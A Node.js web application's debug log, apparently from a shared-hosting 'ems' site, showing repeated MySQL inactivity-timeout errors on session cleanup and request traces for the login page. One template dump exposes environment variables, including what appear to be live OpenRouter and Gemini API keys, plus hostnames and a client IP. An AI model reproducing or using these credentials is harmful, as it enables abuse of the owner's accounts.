    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-18 04:19:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-18 06:30:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-18 06:30:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-18 07:44:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-18 07:44:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-18 12:27:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-18 12:27:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-18 14:52:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-18 14:52:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-18 19:13:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-18 19:13:38' as DATETIME)"
}
2026-01-18T19:16:27.264Z server-connect:router Serving templateView /
2026-01-18T19:16:27.266Z server-connect:app Executing action step identify
2026-01-18T19:16:27.266Z server-connect:app options: { provider: 'security' }
2026-01-18T19:16:27.266Z server-connect:auth No login cookie found
2026-01-18T19:16:27.266Z server-connect:output identity: false
2026-01-18T19:16:27.267Z server-connect:app Executing action step restrict
2026-01-18T19:16:27.267Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-18T19:16:27.267Z server-connect:output restrict: undefined
2026-01-18T19:16:29.989Z server-connect:router Serving templateView /login
2026-01-18T19:16:29.990Z server-connect:app Executing action step identify
2026-01-18T19:16:29.990Z server-connect:app options: { provider: 'security' }
2026-01-18T19:16:29.990Z server-connect:auth No login cookie found
2026-01-18T19:16:29.990Z server-connect:output identity: false
2026-01-18T19:16:29.990Z server-connect:router Render template layouts/authentication
2026-01-18T19:16:29.990Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.225.60.49',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-19T19:16:29.989Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.225.60.49',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.225.60.49',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-01-19T03:42:33.175Z server-connect:router Serving templateView /
2026-01-19T03:42:33.176Z server-connect:app Executing action step identify
2026-01-19T03:42:33.176Z server-connect:app options: { provider: 'security' }
2026-01-19T03:42:33.176Z server-connect:auth No login cookie found
2026-01-19T03:42:33.176Z server-connect:output identity: false
2026-01-19T03:42:33.176Z server-connect:app Executing action step restrict
2026-01-19T03:42:33.176Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-19T03:42:33.177Z server-connect:output restrict: undefined
2026-01-19T03:42:36.851Z server-connect:router Serving templateView /
2026-01-19T03:42:36.852Z server-connect:app Executing action step identify
2026-01-19T03:42:36.852Z server-connect:app options: { provider: 'security' }
2026-01-19T03:42:36.852Z server-connect:auth No login cookie found
2026-01-19T03:42:36.852Z server-connect:output identity: false
2026-01-19T03:42:36.852Z server-connect:app Executing action step restrict
2026-01-19T03:42:36.852Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-19T03:42:36.852Z server-connect:output restrict: undefined
2026-01-19T03:42:45.421Z server-connect:router Serving templateView /
2026-01-19T03:42:45.422Z server-connect:app Executing action step identify
2026-01-19T03:42:45.422Z server-connect:app options: { provider: 'security' }
2026-01-19T03:42:45.422Z server-connect:auth No login cookie found
2026-01-19T03:42:45.422Z server-connect:output identity: false
2026-01-19T03:42:45.422Z server-connect:app Executing action step restrict
2026-01-19T03:42:45.422Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-19T03:42:45.422Z server-connect:output restrict: undefined
2026-01-19T03:42:47.303Z server-connect:router Serving templateView /
2026-01-19T03:42:47.303Z server-connect:app Executing action step identify
2026-01-19T03:42:47.303Z server-connect:app options: { provider: 'security' }
2026-01-19T03:42:47.303Z server-connect:auth No login cookie found
2026-01-19T03:42:47.303Z server-connect:output identity: false
2026-01-19T03:42:47.303Z server-connect:app Executing action step restrict
2026-01-19T03:42:47.304Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-19T03:42:47.304Z server-connect:output restrict: undefined
2026-01-19T03:42:53.732Z server-connect:router Serving templateView /
2026-01-19T03:42:53.733Z server-connect:app Executing action step identify
2026-01-19T03:42:53.733Z server-connect:app options: { provider: 'security' }
2026-01-19T03:42:53.733Z server-connect:auth No login cookie found
2026-01-19T03:42:53.733Z server-connect:output identity: false
2026-01-19T03:42:53.733Z server-connect:app Executing action step restrict
2026-01-19T03:42:53.733Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-19T03:42:53.734Z server-connect:output restrict: undefined
2026-01-19T03:42:54.240Z server-connect:router Serving templateView /
2026-01-19T03:42:54.240Z server-connect:app Executing action step identify
2026-01-19T03:42:54.240Z server-connect:app options: { provider: 'security' }
2026-01-19T03:42:54.241Z server-connect:auth No login cookie found
2026-01-19T03:42:54.241Z server-connect:output identity: false
2026-01-19T03:42:54.241Z server-connect:app Executing action step restrict
2026-01-19T03:42:54.241Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-19T03:42:54.241Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 09:26:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 09:26:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 11:07:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 11:07:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 11:44:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 11:44:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 13:20:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 13:20:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 13:38:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 13:38:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 14:26:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 14:26:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 18:56:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 18:56:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-19 21:35:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-19 21:35:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-20 01:20:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
